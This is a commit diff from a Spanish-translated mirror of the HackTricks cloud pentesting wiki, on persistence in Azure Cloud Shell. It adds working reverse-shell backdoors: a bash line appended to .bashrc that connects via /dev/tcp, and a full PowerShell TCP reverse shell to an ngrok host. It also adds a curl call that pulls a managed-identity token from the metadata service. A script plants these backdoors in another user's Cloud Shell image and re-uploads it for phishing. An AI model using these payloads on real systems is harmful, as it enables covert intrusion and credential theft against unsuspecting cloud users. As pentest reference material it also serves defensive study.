mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 13:26:31 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Persistencia en Cloud Shell
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell ofrece acceso a la línea de comandos para gestionar recursos de Azure con almacenamiento persistente y autenticación automática. Los atacantes pueden explotar esto colocando puertas traseras en el directorio personal persistente:
|
||||
|
||||
* **Almacenamiento Persistente**: El directorio personal de Azure Cloud Shell está montado en un recurso compartido de archivos de Azure y permanece intacto incluso después de que la sesión termina.
|
||||
* **Scripts de Inicio**: Archivos como .bashrc se ejecutan automáticamente al inicio de cada sesión, permitiendo la ejecución persistente cuando se inicia el cloud shell.
|
||||
* **Scripts de Inicio**: Archivos como `.bashrc` o `config/PowerShell/Microsoft.PowerShell_profile.ps1` se ejecutan automáticamente al inicio de cada sesión, permitiendo la ejecución persistente cuando se inicia el cloud shell.
|
||||
|
||||
Ejemplo de puerta trasera en .bashrc:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Este backdoor puede ejecutar comandos incluso 5 minutos después de que el usuario haya terminado con el cloud shell.
|
||||
|
||||
@@ -19,4 +19,41 @@ Además, consulta el servicio de metadatos de Azure para obtener detalles de la
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
### Phishing en Cloud Shell
|
||||
|
||||
Si un atacante encuentra imágenes de otros usuarios en una Cuenta de Almacenamiento a la que tiene acceso de escritura y lectura, podrá descargar la imagen, **agregar un backdoor de bash y PS en ella**, y volver a subirla a la Cuenta de Almacenamiento para que la próxima vez que el usuario acceda a la shell, **los comandos se ejecuten automáticamente**.
|
||||
|
||||
- **Descargar, backdoor y subir la imagen:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
|
||||
|
||||
# Mount the image
|
||||
mkdir /tmp/backdoor_img
|
||||
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
|
||||
cd /tmp/backdoor_img
|
||||
|
||||
# Create backdoor
|
||||
mkdir .config
|
||||
mkdir .config/PowerShell
|
||||
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Unmount
|
||||
cd /tmp
|
||||
sudo umount /tmp/backdoor_img
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
|
||||
```
|
||||
- **Luego, phishing al usuario para acceder a https://shell.azure.com/**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user